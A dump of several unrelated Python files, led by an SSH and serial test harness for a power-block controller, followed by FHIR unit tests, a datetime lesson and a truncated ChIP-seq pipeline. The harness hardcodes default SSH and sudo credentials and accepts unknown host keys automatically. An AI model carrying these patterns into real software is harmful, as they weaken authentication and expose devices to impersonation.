0-100> set fan speed return self.json_from_s(self.process_channel("/AUXPS/fanspeed " + str(af_speed) + "\r")) # Set AUXPS Fan speed def auxps_fan_info(self): # <speed 0-100>, <rpm> # self.response = self.process_channel("/AUXPS/fanstatus\r") # SGet auxps Fan speed # time.sleep(1) # return self.json_from_s(self.response) return self.json_from_s(self.process_channel("/AUXPS/fanstatus\r")) # SGet auxps Fan speed def auxps_autoPowerCycle(self, seconds): # <seconds> Set auto power-cycle timeout on CAN/HB miss (current: 0sec) self.process_channel("/AUXPS/autoPowerCycle " + str(seconds) + "\r") # time.sleep(1) def auxps_temps(self, humidity=False, dewpoint=False): # self.process_channel("/AUXPS/temps\r") # # time.sleep(1) if humidity: self.process_channel("/AUXPS/humidity\r") # if dewpoint: self.process_channel("/AUXPS/dewpoint\r") # return self.json_from_s(self.process_channel("/AUXPS/temps\r")) def auxps_input_channel_info(self): # show all 3x input channels return self.json_from_s(self.process_channel("/AUXPS/InputChannel\r")) # PM Power Control def pm_no_detect(self): # self.process_channel("/\r") self.process_channel("/PM\r") self.process_channel("--no-detect\r") # set PBC to no MPx GPIO pin detect time.sleep(1) def pm_bl_fw_version(self, pm): self.process_channel("/PM/PM" + str(pm) + "/bootversion\r") self.process_channel("/PM/PM" + str(pm) + "/appversion\r") # def pm_pwr_ctrl(self, pm, bus, volts, amps): # <a|b|0> <volts> <amps> [maxvolts] Set pm output bus/volts/amps # self.process_channel("/PM/PM" + str(pm) + "/setTargets " + str(bus) + " " + str(volts) + " " + str(amps) + "\r") # time.sleep(1) def pm_pwr_ctrl(self, pm, bus, volts, amps): # <a|b|0> <volts> <amps> [maxvolts] Set pm output bus/volts/amps self.process_channel("/\r") self.process_channel(f"/PM/PM{pm}\r") # self.process_channel("/PM/PM" + str(pm) + " \r") self.process_channel(f"setTargets {bus} {volts} {amps}\r") time.sleep(2) self.process_channel("\r") self.process_channel("/\r") #### BK Test def bk_pwr_ctrl(self, state): # self._res_manager.write(b"OUTPut ON\r\n") if state == 1: self.process_channel("OUTPut ON\n") if state == 0: self.process_channel("OUTPut OFF\n") time.sleep(1) # Burn-in test def pb_bi_test(self, bus: str, volts: str, amps: str, pm1_5: bool): if pm1_5: power_kw = '200' # set 200kW max power if PM 1.5 else: power_kw = '156' self.pbc_console_login() self.enable_ssh() time.sleep(1) self.process_channel(f"test-pnode -r {bus} {power_kw}\r") # time.sleep(1) self.process_channel(f"test-pnode {bus} {volts} {amps}\r") # < a | b > < powerkw > time.sleep(1) class PBC_SSH_2(object): """A copy of PBC_SSH with the addition of login password support for EMB plat version > 177 """ def __init__(self, addr: str, user='admin', password='config'): # self.port = 22 # self.user = 'root' # self.password = 'root' # self.timeout = 23 self.response = str() self.match = str() self.ssh = paramiko.SSHClient() self.ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) self.ssh.connect(addr, 22, user, password) self.channel = self.ssh.invoke_shell() self._logger = logging.getLogger(self.__class__.__name__) def pbc_file_transfer(self, localpath='none', targetpath='none', direction='up'): sftp = self.ssh.open_sftp() if direction == 'up': print('wait for file transfer') sftp.put(localpath, targetpath) if direction == 'down': print('wait for file transfer') sftp.get(targetpath, localpath) time.sleep(1) sftp.close() def pbc_comm_test(self): """performing this test will login to chassis-shell CLI""" self.pbc_console_login() if self.process_channel("chassis-shell\r").find("/>") == -1: return False else: return True def pbc_end_connection(self): self.ssh.close() def json_from_s(self, s): self.match = re.findall(r"{.+[:,].+}|\[.+[,:].+\]", s) return json.loads(self.match[0]) if self.match else None def process_channel(self, input): self.channel_data = str() self.host = str() self.scrfile = str() time.sleep(.5) self.channel.send(input) time.sleep(1.5) if self.channel.recv_ready(): self.channel_data += str(self.channel.recv(9999).decode("utf8")) # print(self.channel_data) self._logger.info(self.channel_data) return self.channel_data # ######################### Communication Test ########################### def can_dump(self): self.process_channel("candump can0 | grep 7[0-9]\r") time.sleep(5) self.process_channel("\x03") # ######################### EMB Tests ########################### def pbc_console_login_old(self): self.process_channel('root\r') self.process_channel('root\r') def pbc_console_login(self): # self.process_channel('admin\r') # time.sleep(.5) # self.process_channel('config\r') # time.sleep(.5) self.process_channel('sudo -s\r') time.sleep(.5) if self.process_channel('config\r').find("root@") == -1: return False return True def pbc_console_exit(self): self.process_channel('\x03') # send ctrl + c key self.process_channel('exit\r') def enter_chassis_shell(self): self.process_channel("chassis-shell\r") def exit_chassis_shell(self): self.process_channel('\x03') # send ctrl + c key def return_chassis_shell_root(self): self.process_channel('/\r') # send ctrl + c key def platform_sw_version(self): self.process_channel("/\r") self.process_channel("/Platform\r") self.process_channel("/PowerMonitor/board-rev\r") plat_read = self.process_channel("/Platform/EMB_PLATFORM_VERSION\r").split(" ") self._logger.info(f'UUT Platform version read: {plat_read[1]}') return plat_read[1] def init_all_can(self, evt: bool): # Include the PM --no-detect bypass, must remove for DVT self.process_channel("CCB can0\r") self.process_channel("AUXPS can0\r") self.process_channel("/PM\r") if evt: self.pm_no_detect() for i in range(1, 6): self.process_channel('/PM/PM' + str(i) + ' can0\r') def init_all_pm(self): self.process_channel('/\r') self.process_channel('/PM\r') for i in range(1, 6): self.process_channel('PM' + str(i) + ' can0\r') def pm_init(self, pm): self.process_channel('/\r') self.process_channel('/PM\r') self.process_channel('PM' + str(pm) + ' can0\r') print(f'\nWating for PM{pm} to come online...') time.sleep(6) def get_temps(self): self.process_channel("/\r") self.process_channel("/TempSensor/TEMP1\r") self.process_channel("/CCB/temps\r") time.sleep(1) self.process_channel("/AUXPS/temps\r") time.sleep(1) self.process_channel("/PowerMonitor/temp 0\r") # Powermonitor read DRY-Zone RTD temp read on C time.sleep(1) def toggle_all_pm(self): self.process_channel("/\r") for i in range(1, 6): self.process_channel('/PM/PM' + str(i) + ' op\r') time.sleep(.5) def show_pm_status(self, pm): self.process_channel("/\r") self.process_channel("/PM\r") self.process_channel("PM" + str(pm) + "\r") # ################### PBC LV Tests ######################### def ext_chassis_led(self, r, g): if r == 1: self.process_channel("/ExtChassisLed/RED1 1\r") # Set GREEN ON if r == 0: self.process_channel("/ExtChassisLed/RED1 0\r") # Set GREEN ON if g == 1: self.process_channel("/ExtChassisLed/GREEN1 1\r") # Set GREEN ON if g == 0: self.process_channel("/ExtChassisLed/GREEN1 0\r") # Set GREEN ON def dry_zone_fan(self, fan, speed, enable): self.process_channel("/Fan/DRY-Zone-" + str(fan) + "\r") # Enter PBC Fan directory self.process_channel("speed " + str(speed) + "\r") # Set PBC Fan speed time.sleep(1.5) self.process_channel("power " + str(enable) + "\r") # Set PBC Fan enable time.sleep(1.5) self.process_channel("\r") # Status PBC Fan def dry_zone_one_fan_ctrl(self, fan, sp_else_pwr, enable): self.process_channel("/Fan/DRY-Zone-" + str(fan) + "\r") # Enter PBC Fan directory if sp_else_pwr: sp = "100" if enable else "0" self.process_channel("speed " + str(sp) + "\r") # Set PBC Fan speed time.sleep(.25) if not sp_else_pwr: self.process_channel("power " + str(enable) + "\r") # Set PBC Fan enable time.sleep(.25) self.process_channel("\r") # Status PBC Fan # time.sleep(.5) def dry_zone_fan_current(self, fan): # DRY-Zone fan currents Powermonitor read DRY-Zone fan 1 and 2 self.process_channel("/PowerMonitor/fan " + str(fan) + "\r") # Powermonitor read DRY-Zone fan 1 def gpio_expander(self): self.process_channel("/\r") self.process_channel("/GpioExpander\r") # Read GpioExpander status def safety_sw(self, category): self.process_channel("/Reed\r") if category == 'thermal': self.process_channel("/ThermalSw\r") # Read ThermalSw status if category == 'reed': self.process_channel("/Reed\r") if category == 'reed1': self.process_channel("REED1-DoorWetBoxFront\r") if category == 'surge': self.process_channel("/SurgeDet\r") # def pm_present_can_id(): # toggle_all_pm() # show_pm_status() # CCB Tests def ccb_init(self): self.process_channel('\x03') # send ctrl + c key self.enter_chassis_shell() self.process_channel("/CCB can0\r") time.sleep(1) # self.process_channel("/CCB op\r") def ccb_info(self): self.process_channel("/\r") self.process_channel("/CCB\r") def ccb_read_logs(self): # self.process_channel(".quit\r") self.process_channel("cat /var/log/CCB-selftest.log\r") # read dump def ccb_bl_fw_version(self): self.process_channel("/CCB/bootversion\r") self.process_channel("/CCB/appversion\r") def ccb_fault_info(self): self.process_channel("/CCB/faultInfo\r") def ccb_fan_bank_info(self, fanBank): if fanBank == 1: self.process_channel("/CCB/fanBank1\r") if fanBank == 2: self.process_channel("/CCB/fanBank2\r") if fanBank == 3: self.process_channel("/CCB/fanBank3\r") def ccb_pump_info(self): self.process_channel("/CCB/pump\r") def ccb_self_test(self): # must run before trying to poll for CCB faults in ccb_fault_info() self.process_channel("/CCB/selfTest\r") def ccb_coolant_level(self): # must run while filling up coolant tank self.process_channel("/CCB/coolantLevel\r") def ccb_fan_speed(self, b_num, f_speed): # <bank_number> <speed 0-100> set fan-bank speed self.process_channel("/CCB/fanspeed " + str(b_num) + " " + str(f_speed) + "\r") # Set CCB Fan speed time.sleep(1) def ccb_pump_speed(self, p_speed): # <speed 0-100> set pump speed self.process_channel("/CCB/pumpspeed " + " " + str(p_speed) + "\r") # Set CCB pump speed time.sleep(1) # Close Loop Thermal Control def autoThermal(self, poll, log_freq): # <bank_number> <speed 0-100> set fan-bank speed self.process_channel("/PowerBlock/autoThermal " + str(poll) + "\r") # Set to close loop and poll freq time.sleep(1) self.process_channel("/PowerBlock/logInfo " + str(log_freq) + "\r") # Set to log freq in sec, default 5 sec time.sleep(1) # AUXPS Tests def auxps_info(self): # self.process_channel("/\r") self.process_channel("/AUXPS\r") def auxps_init(self): self.process_channel("/\r") self.process_channel("/AUXPS can0\r") def auxps_read_logs(self): # self.process_channel(".quit\r") time.sleep(1) self.process_channel("cat /var/log/AuxPS-selftest.log\r") # read dump def auxps_remove_logs(self): # self.process_channel(".quit\r") time.sleep(1) self.process_channel("rm -v /var/log/AuxPS-selftest.log\r") # read dump def auxps_bl_fw_version(self): self.process_channel("/AUXPS/bootversion\r") self.process_channel("/AUXPS/appversion\r") def auxps_bl_fw_version_test(self, check_bl_against: str): # Test BL/FW version self._logger.info('\n-->BL/App version test<--') self.bl_read = self.process_channel("/AUXPS/bootversion\r").split(" ") if self.bl_read[1].find(check_bl_against) != -1: self._logger.info(f'UUT PASSED Bootloader version test: {self.bl_read[1]}') else: self._logger.info(f'UUT FAILED current UUT BL version is: {self.bl_read[1]}') return False self.fw_read = self.process_channel("/AUXPS/appversion\r").split(" ") self._logger.info(f'UUT current Application version is: {self.fw_read[1]}') return True def auxps_fault_info(self): self.process_channel("/AUXPS/faults\r") def auxps_bank_info(self, auxBank): if auxBank == 'ccb': return self.json_from_s(self.process_channel("/AUXPS/CCBChannel\r")) if auxBank == 'pbc': return self.json_from_s(self.process_channel("/AUXPS/PBCChannel\r")) if auxBank == 'ext': return self.json_from_s(self.process_channel("/AUXPS/ExtChannel\r")) if auxBank == 'input': return self.json_from_s(self.process_channel("/AUXPS/InputChannel\r")) def auxps_channel_ctrl(self, ch: str, set_to: str): # <ccb|pbc|ext> <0-3> 0:enable, 1:disable self.process_channel(f"/AUXPS/channelCtrl {ch} {set_to}\r") if ch == 'ccb': return self.json_from_s(self.process_channel("/AUXPS/CCBChannel\r")) if ch == 'pbc': return self.json_from_s(self.process_channel("/AUXPS/PBCChannel\r")) if ch == 'ext': return self.json_from_s(self.process_channel("/AUXPS/ExtChannel\r")) def auxps_self_test(self): # must run before trying to poll for AUXPS faults in AUXPS_fault_info() self.process_channel("/AUXPS/selfTest\r") def auxps_shunt_ctrl(self, s_state): # self.process_channel("/AUXPS/shuntControl " + str(s_state) + "\r") def auxps_fan_speed(self, af_speed): # <speed 0-100> set fan speed return self.json_from_s(self.process_channel("/AUXPS/fanspeed " + str(af_speed) + "\r")) # Set AUXPS Fan speed def auxps_fan_info(self): # <speed 0-100>, <rpm> # self.response = self.process_channel("/AUXPS/fanstatus\r") # SGet auxps Fan speed # time.sleep(1) # return self.json_from_s(self.response) return self.json_from_s(self.process_channel("/AUXPS/fanstatus\r")) # SGet auxps Fan speed def auxps_autoPowerCycle(self, seconds): # <seconds> Set auto power-cycle timeout on CAN/HB miss (current: 0sec) self.process_channel("/AUXPS/autoPowerCycle " + str(seconds) + "\r") # time.sleep(1) def auxps_temps(self, humidity=False, dewpoint=False): # self.process_channel("/AUXPS/temps\r") # # time.sleep(1) if humidity: self.process_channel("/AUXPS/humidity\r") # if dewpoint: self.process_channel("/AUXPS/dewpoint\r") # return self.json_from_s(self.process_channel("/AUXPS/temps\r")) def auxps_input_channel_info(self): # show all 3x input channels return self.json_from_s(self.process_channel("/AUXPS/InputChannel\r")) # PM Power Control def pm_no_detect(self): # self.process_channel("/\r") self.process_channel("/PM\r") self.process_channel("--no-detect\r") # set PBC to no MPx GPIO pin detect time.sleep(1) def pm_bl_fw_version(self, pm): self.process_channel("/PM/PM" + str(pm) + "/bootversion\r") self.process_channel("/PM/PM" + str(pm) + "/appversion\r") # def pm_pwr_ctrl(self, pm, bus, volts, amps): # <a|b|0> <volts> <amps> [maxvolts] Set pm output bus/volts/amps # self.process_channel("/PM/PM" + str(pm) + "/setTargets " + str(bus) + " " + str(volts) + " " + str(amps) + "\r") # time.sleep(1) def pm_pwr_ctrl(self, pm, bus, volts, amps): # <a|b|0> <volts> <amps> [maxvolts] Set pm output bus/volts/amps self.process_channel("/\r") self.process_channel(f"/PM/PM{pm}\r") # self.process_channel("/PM/PM" + str(pm) + " \r") self.process_channel(f"setTargets {bus} {volts} {amps}\r") time.sleep(2) self.process_channel("\r") self.process_channel("/\r") #### BK Test def bk_pwr_ctrl(self, state): # self._res_manager.write(b"OUTPut ON\r\n") if state == 1: self.process_channel("OUTPut ON\n") if state == 0: self.process_channel("OUTPut OFF\n") time.sleep(1) # Burn-in test def pb_bi_test(self, bus: str, volts: str, amps: str, pm1_5: bool): if pm1_5: power_kw = '200' # set 200kW max power if PM 1.5 else: power_kw = '156' self.pbc_console_login() self.enable_ssh() time.sleep(1) self.process_channel(f"test-pnode -r {bus} {power_kw}\r") # time.sleep(1) self.process_channel(f"test-pnode {bus} {volts} {amps}\r") # < a | b > < powerkw > time.sleep(1) def main(): logging.basicConfig(level=logging.DEBUG) stdout_handler = logging.StreamHandler(sys.stdout) logger = logging.getLogger() logger.addHandler(stdout_handler) _pbc_ser = PBC_Ser('COM18') _pbc_ser.enable_ssh_2() _pbc_ser.close() _pbc_ssh = PBC_SSH('fe80::ffd2:8387:281b:1074') _pbc_ssh.pbc_console_login() _pbc_ssh.enter_chassis_shell() _pbc_ssh.safety_sw('reed1') _pbc_ssh.pbc_end_connection() if __name__ == "__main__": main()

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py

Python

mltoolkit/mldp/steps/collectors/__init__.py

mancunian1792/FewSum

c2f9ef0ae7445bdb188b6ceb28e998b3fd12b78e

[ "MIT" ]

28

2020-10-12T19:05:22.000Z

2022-03-18T01:19:29.000Z

mltoolkit/mldp/steps/collectors/__init__.py

mancunian1792/FewSum

c2f9ef0ae7445bdb188b6ceb28e998b3fd12b78e

[ "MIT" ]

1

2022-01-30T01:52:59.000Z

2022-02-19T08:04:54.000Z

mltoolkit/mldp/steps/collectors/__init__.py

mancunian1792/FewSum

c2f9ef0ae7445bdb188b6ceb28e998b3fd12b78e

[ "MIT" ]

7

2020-10-29T14:01:04.000Z

2022-02-22T18:33:10.000Z

from .base_chunk_collector import BaseChunkCollector from .unit_collector import UnitCollector from .chunk_shuffler import ChunkShuffler from .unit_sampler import UnitSampler from .chunk_collector import ChunkCollector

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py

Python

Python3/Python3_Lesson13/src/making_time.py

ceeblet/OST_PythonCertificationTrack

042e0ce964bc88b3f4132dcbd7e06c5f504eae34

[ "MIT" ]

null

Python3/Python3_Lesson13/src/making_time.py

ceeblet/OST_PythonCertificationTrack

042e0ce964bc88b3f4132dcbd7e06c5f504eae34

[ "MIT" ]

null

Python3/Python3_Lesson13/src/making_time.py

ceeblet/OST_PythonCertificationTrack

042e0ce964bc88b3f4132dcbd7e06c5f504eae34

[ "MIT" ]

null

from datetime import datetime print(datetime(2012, 10, 31)) print(datetime(2012, 10, 31, 12)) print(datetime(2012, 10, 31, 12, 30)) print(datetime(2012, 10, 31, 12, 30, 59)) print(datetime(2012, 10, 31, 12, 30, 59, 300))

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py

Python

fhir/resources/DSTU2/tests/test_devicecomponent.py

cstoltze/fhir.resources

52f99738935b7313089d89daf94d73ce7d167c9d

[ "BSD-3-Clause" ]

144

2019-05-08T14:24:43.000Z

2022-03-30T02:37:11.000Z

fhir/resources/DSTU2/tests/test_devicecomponent.py

cstoltze/fhir.resources

52f99738935b7313089d89daf94d73ce7d167c9d

[ "BSD-3-Clause" ]

82

2019-05-13T17:43:13.000Z

2022-03-30T16:45:17.000Z

fhir/resources/DSTU2/tests/test_devicecomponent.py

cstoltze/fhir.resources

52f99738935b7313089d89daf94d73ce7d167c9d

[ "BSD-3-Clause" ]

48

2019-04-04T14:14:53.000Z

2022-03-30T06:07:31.000Z

# -*- coding: utf-8 -*- from datetime import datetime, timezone from .. import fhirtypes # noqa: F401 from .. import devicecomponent def test_DeviceComponent_1(base_settings): filename = ( base_settings["unittest_data_dir"] / "devicecomponent-example-prodspec.canonical.json" ) inst = devicecomponent.DeviceComponent.parse_file( filename, content_type="application/json", encoding="utf-8" ) assert "DeviceComponent" == inst.resource_type impl_DeviceComponent_1(inst) # testing reverse by generating data from itself and create again. data = inst.dict() assert "DeviceComponent" == data["resourceType"] inst2 = devicecomponent.DeviceComponent(**data) impl_DeviceComponent_1(inst2) def impl_DeviceComponent_1(inst): assert inst.contained[0].id == "d1" assert inst.contained[0].identifier[0].type.coding[0].code == "SNO" assert ( inst.contained[0].identifier[0].type.coding[0].system == "http://hl7.org/fhir/identifier-type" ) assert inst.contained[0].identifier[0].type.text == "Serial Number" assert inst.contained[0].identifier[0].value == "ID 13.1" assert inst.contained[0].identifier[1].system == "urn:iso:std:iso:11073:10101" assert ( inst.contained[0].identifier[1].type.text == "Global Medical Device Nomenclature" ) assert inst.contained[0].identifier[1].value == "2000" assert inst.contained[0].manufacturer == "Center4MI" assert inst.contained[0].model == "2-0-14" assert inst.contained[0].type.coding[0].code == "2000" assert inst.contained[0].type.coding[0].display == "MDC_DEV_ANALY_SAT_O2_MDS" assert inst.contained[0].type.coding[0].system == "urn:iso:std:iso:11073:10101" assert inst.id == "example-prodspec" assert inst.identifier.type.text == "Handle ID" assert inst.identifier.value == "0" assert inst.languageCode.coding[0].code == "en-US" assert inst.languageCode.coding[0].system == "http://tools.ietf.org/html/bcp47" assert inst.lastSystemChange == datetime( 2014, 10, 7, 14, 45, 0, tzinfo=timezone.utc ) assert inst.operationalStatus[0].coding[0].code == "0" assert inst.operationalStatus[0].coding[0].display == "disconnected" assert inst.operationalStatus[0].coding[0].system == "urn:iso:std:iso:11073:10101" assert inst.productionSpecification[0].productionSpec == "xa-12324-b" assert inst.productionSpecification[0].specType.coding[0].code == "1" assert inst.productionSpecification[0].specType.coding[0].display == "Serial number" assert inst.productionSpecification[1].productionSpec == "1.1" assert inst.productionSpecification[1].specType.coding[0].code == "3" assert ( inst.productionSpecification[1].specType.coding[0].display == "Hardware version" ) assert inst.productionSpecification[2].productionSpec == "1.12" assert inst.productionSpecification[2].specType.coding[0].code == "4" assert ( inst.productionSpecification[2].specType.coding[0].display == "Software version" ) assert inst.productionSpecification[3].productionSpec == "1.0.23" assert inst.productionSpecification[3].specType.coding[0].code == "5" assert ( inst.productionSpecification[3].specType.coding[0].display == "Firmware version" ) assert inst.source.reference == "#d1" assert ( inst.text.div == """<div> Example of a simple MDS from a pulse oximeter containment tree </div>""" ) assert inst.text.status == "generated" assert inst.type.coding[0].code == "2000" assert inst.type.coding[0].display == "MDC_DEV_ANALY_SAT_O2_MDS" assert inst.type.coding[0].system == "urn:iso:std:iso:11073:10101" def test_DeviceComponent_2(base_settings): filename = ( base_settings["unittest_data_dir"] / "devicecomponent-example.canonical.json" ) inst = devicecomponent.DeviceComponent.parse_file( filename, content_type="application/json", encoding="utf-8" ) assert "DeviceComponent" == inst.resource_type impl_DeviceComponent_2(inst) # testing reverse by generating data from itself and create again. data = inst.dict() assert "DeviceComponent" == data["resourceType"] inst2 = devicecomponent.DeviceComponent(**data) impl_DeviceComponent_2(inst2) def impl_DeviceComponent_2(inst): assert inst.contained[0].id == "d1" assert inst.contained[0].identifier[0].type.coding[0].code == "SNO" assert ( inst.contained[0].identifier[0].type.coding[0].system == "http://hl7.org/fhir/identifier-type" ) assert inst.contained[0].identifier[0].value == "ID 13.1" assert inst.contained[0].identifier[1].system == "urn:iso:std:iso:11073:10101" assert ( inst.contained[0].identifier[1].type.text == "Global Medical Device Nomenclature" ) assert inst.contained[0].identifier[1].value == "2000" assert inst.contained[0].manufacturer == "Center4MI" assert inst.contained[0].model == "2-0-14" assert inst.contained[0].type.coding[0].code == "2000" assert inst.contained[0].type.coding[0].display == "MDC_DEV_ANALY_SAT_O2_MDS" assert inst.contained[0].type.coding[0].system == "urn:iso:std:iso:11073:10101" assert inst.id == "example" assert inst.identifier.type.text == "Handle ID" assert inst.identifier.value == "0" assert inst.languageCode.coding[0].code == "en-US" assert inst.languageCode.coding[0].system == "http://tools.ietf.org/html/bcp47" assert inst.lastSystemChange == datetime( 2014, 10, 7, 14, 45, 0, tzinfo=timezone.utc ) assert inst.operationalStatus[0].coding[0].code == "0" assert inst.operationalStatus[0].coding[0].display == "disconnected" assert inst.operationalStatus[0].coding[0].system == "urn:iso:std:iso:11073:10101" assert inst.source.reference == "#d1" assert ( inst.text.div == """<div> Example of a simple MDS from a pulse oximeter containment tree </div>""" ) assert inst.text.status == "generated" assert inst.type.coding[0].code == "2000" assert inst.type.coding[0].display == "MDC_DEV_ANALY_SAT_O2_MDS" assert inst.type.coding[0].system == "urn:iso:std:iso:11073:10101"

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eb5e053339235c87de316d8c241e112b3fbc452c

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Python

src/awsCluster/server/ChipSeqPipeline/homer_workflow/ChipSeqPipeline.py

AspirinCode/jupyter-genomics

d45526fab3de8fcc3d9fef005d4e39368ff3dfdc

[ "MIT" ]

2

2019-01-04T08:17:27.000Z

2021-04-10T02:59:35.000Z

src/cirrus_ngs/server/deprecated/ChipSeqPipeline/homer_workflow/ChipSeqPipeline.py

miko-798/cirrus-ngs

2c005f0fe29e298652ed2164e08ada75e908229b

[ "MIT" ]

null

src/cirrus_ngs/server/deprecated/ChipSeqPipeline/homer_workflow/ChipSeqPipeline.py

miko-798/cirrus-ngs

2c005f0fe29e298652ed2164e08ada75e908229b

[ "MIT" ]

2

2021-09-10T02:57:51.000Z

2021-09-21T00:16:56.000Z

__author__ = 'Guorong Xu<g1xu@ucsd.edu>' import sys import subprocess import PBSTracker import YamlFileReader root_dir = "/shared/workspace/ChiPSeqPipeline" data_dir = "/shared/workspace/data_archive/ChiPSeq" ## run all analysis from download, alignment, counting and differential calculation. def run_analysis(yaml_file): documents = YamlFileReader.parse_yaml_file(yaml_file) workflow = documents.get("workflow") project_name = documents.get("project") analysis_steps = documents.get("analysis") s3_output_files_address = documents.get("upload") style = documents.get("style") genome = documents.get("genome") sample_list = documents.get("sample") ## Download files from s3 and make a design group file. download_files(workflow, project_name, sample_list) if "fastqc" in analysis_steps: run_fastqc(workflow, project_name, sample_list) if "alignment" in analysis_steps: run_alignment(workflow, project_name, sample_list) if "make_tag_directory" in analysis_steps: make_tag_directory(workflow, project_name, sample_list) if "make_UCSC_file" in analysis_steps: make_UCSC_file(workflow, project_name, sample_list) if "find_peaks" in analysis_steps: find_peaks(workflow, project_name, sample_list, style) if "annotate_peaks" in analysis_steps: annotate_peaks(workflow, project_name, sample_list, style, genome) if "pos2bed" in analysis_steps: pos2bed(workflow, project_name, sample_list, style) if "find_motifs_genome" in analysis_steps: find_motifs_genome(workflow, project_name, sample_list, style, genome) ## Upload resulting files to s3. upload_files(workflow, project_name, s3_output_files_address) print "======================================================" print "The processing of the project \"" + project_name + "\" is done!" print "======================================================" ## download file from s3 def download_files(workflow, project_name, sample_list): workspace = root_dir + "/" + workflow + "/scripts/" sample_dir = data_dir + "/" + project_name + "/" + workflow + "/" print "executing download files..." ##copying data from s3 to local drive for sample_file in sample_list: if sample_file.get("filename").find(",") > -1: sample_1 = sample_file.get("filename")[:sample_file.get("filename").find(",")] sample_2 = sample_file.get("filename")[sample_file.get("filename").find(",") + 2:] subprocess.call(["qsub", workspace + "download.sh", sample_file.get("download"), sample_1, sample_dir]) subprocess.call(["qsub", workspace + "download.sh", sample_file.get("download"), sample_2, sample_dir]) else: subprocess.call(["qsub", workspace + "download.sh", sample_file.get("download"), sample_file.get("filename"), sample_dir]) PBSTracker.trackPBSQueue(1, "download") ## running fastqc for all samples def run_fastqc(workflow, project_name, sample_list): workspace = root_dir + "/" + workflow + "/scripts/" sample_dir = data_dir + "/" + project_name + "/" + workflow + "/" print "executing fastqc..." for sample_file in sample_list: if sample_file.get("filename").find(",") > -1: sample_1 = sample_file.get("filename")[:sample_file.get("filename").find(",")] sample_2 = sample_file.get("filename")[sample_file.get("filename").find(",") + 2:] output_file = sample_1.replace(".fastq", "_fastqc.zip") subprocess.call(["qsub", workspace + "fastqc.sh", sample_dir + sample_1, sample_dir + output_file]) output_file = sample_2.replace(".fastq", "_fastqc.zip") subprocess.call(["qsub", workspace + "fastqc.sh", sample_dir + sample_2, sample_dir + output_file]) else: output_file = sample_file.get("filename").replace(".fastq", "_fastqc.zip") subprocess.call(["qsub", workspace + "fastqc.sh", sample_dir + sample_file.get("filename"), sample_dir + output_file]) PBSTracker.trackPBSQueue(1, "fastqc") ## executing ChipSeq Sequencing alignment def run_alignment(workflow, project_name, sample_list): workspace = root_dir + "/" + workflow + "/scripts/" sample_dir = data_dir + "/" + project_name + "/" + workflow + "/" print "executing alignment..." for sample_file in sample_list: if sample_file.get("filename").find(",") > -1: sample_1 = sample_file.get("filename")[:sample_file.get("filename").find(",")] sample_2 = sample_file.get("filename")[sample_file.get("filename").find(",") + 2:] subprocess.call(["qsub", "-pe", "smp", "4", workspace + "alignment.sh", sample_dir + sample_1]) subprocess.call(["qsub", "-pe", "smp", "4", workspace + "alignment.sh", sample_dir + sample_2]) else: subprocess.call(["qsub", "-pe", "smp", "4", workspace + "alignment.sh", sample_dir + sample_file.get("filename")]) PBSTracker.trackPBSQueue(1, "alignment") ## make tag directory def make_tag_directory(workflow, project_name, sample_list): workspace = root_dir + "/" + workflow + "/scripts/" sample_dir = data_dir + "/" + project_name + "/" + workflow + "/" print "executing make_tag_directory..." for sample_file in sample_list: if sample_file.get("filename").find(",") > -1: sample_1 = sample_file.get("filename")[:sample_file.get("filename").find(",")] sample_2 = sample_file.get("filename")[sample_file.get("filename").find(",") + 2:] input_file = sample_1.replace(".fastq", ".fastq.sam") output_tag_folder = sample_1[:-6] subprocess.call(["qsub", workspace + "make_tag_directory.sh", sample_dir + output_tag_folder, sample_dir + input_file]) input_file = sample_2.replace(".fastq", ".fastq.sam") output_tag_folder = sample_2[:-6] subprocess.call(["qsub", workspace + "make_tag_directory.sh", sample_dir + output_tag_folder, sample_dir + input_file]) else: input_file = sample_file.get("filename").replace(".fastq", ".fastq.sam") output_tag_folder = sample_file.get("filename")[:-6] subprocess.call(["qsub", workspace + "make_tag_directory.sh", sample_dir + output_tag_folder, sample_dir + input_file]) PBSTracker.trackPBSQueue(1, "make_tag") ## make UCSC file def make_UCSC_file(workflow, project_name, sample_list): workspace = root_dir + "/" + workflow + "/scripts/" sample_dir = data_dir + "/" + project_name + "/" + workflow + "/" print "executing make_UCSC_directory..." for sample_file in sample_list: if sample_file.get("filename").find(",") > -1: sample_1 = sample_file.get("filename")[:sample_file.get("filename").find(",")] sample_2 = sample_file.get("filename")[sample_file.get("filename").find(",") + 2:] input_tag_folder = sample_1[:-6] subprocess.call(["qsub", workspace + "make_UCSC_file.sh", sample_dir + input_tag_folder]) input_tag_folder = sample_2[:-6] subprocess.call(["qsub", workspace + "make_UCSC_file.sh", sample_dir + input_tag_folder]) else: input_tag_folder = sample_file.get("filename")[:-6] subprocess.call(["qsub", workspace + "make_UCSC_file.sh", sample_dir + input_tag_folder]) PBSTracker.trackPBSQueue(1, "make_UCSC") ## find peaks def find_peaks(workflow, project_name, sample_list, style): workspace = root_dir + "/" + workflow + "/scripts/" sample_dir = data_dir + "/" + project_name + "/" + workflow + "/" print "executing find_peaks..." for sample_file in sample_list: if sample_file.get("filename").find(",") < 0: chip_tag_folder = sample_file.get("filename")[:-6] if style == "factor": output_peak_file = chip_tag_folder + "/peaks.txt" subprocess.call(["qsub", workspace + "find_peaks.sh", sample_dir + chip_tag_folder, style, sample_dir + output_peak_file]) if style == "histone": output_peak_file = chip_tag_folder + "/regions.txt" subprocess.call(["qsub", workspace + "find_peaks.sh", sample_dir + chip_tag_folder, style, sample_dir + output_peak_file]) else: chip_tag_folder = sample_file.get("filename")[:sample_file.get("filename").find(",")][:-6] input_tag_folder = sample_file.get("filename")[sample_file.get("filename").find(",") + 2:][:-6] print chip_tag_folder print input_tag_folder if style == "factor": output_peak_file = chip_tag_folder + "_vs_" + input_tag_folder + "/peaks.txt" subprocess.call(["qsub", workspace + "find_peaks.sh", sample_dir + chip_tag_folder, style, sample_dir + output_peak_file, sample_dir + input_tag_folder]) if style == "histone": output_peak_file = chip_tag_folder + "_vs_" + input_tag_folder + "/regions.txt" subprocess.call(["qsub", workspace + "find_peaks.sh", sample_dir + chip_tag_folder, style, sample_dir + output_peak_file, sample_dir + input_tag_folder]) PBSTracker.trackPBSQueue(1, "find_peaks") ## annotate peaks def annotate_peaks(workflow, project_name, sample_list, style, genome): workspace = root_dir + "/" + workflow + "/scripts/" sample_dir = data_dir + "/" + project_name + "/" + workflow + "/" print "executing annotate_peaks..." for sample_file in sample_list: if sample_file.get("filename").find(",") < 0: input_tag_folder = sample_file.get("filename")[:-6] if style == "factor": subprocess.call(["qsub", 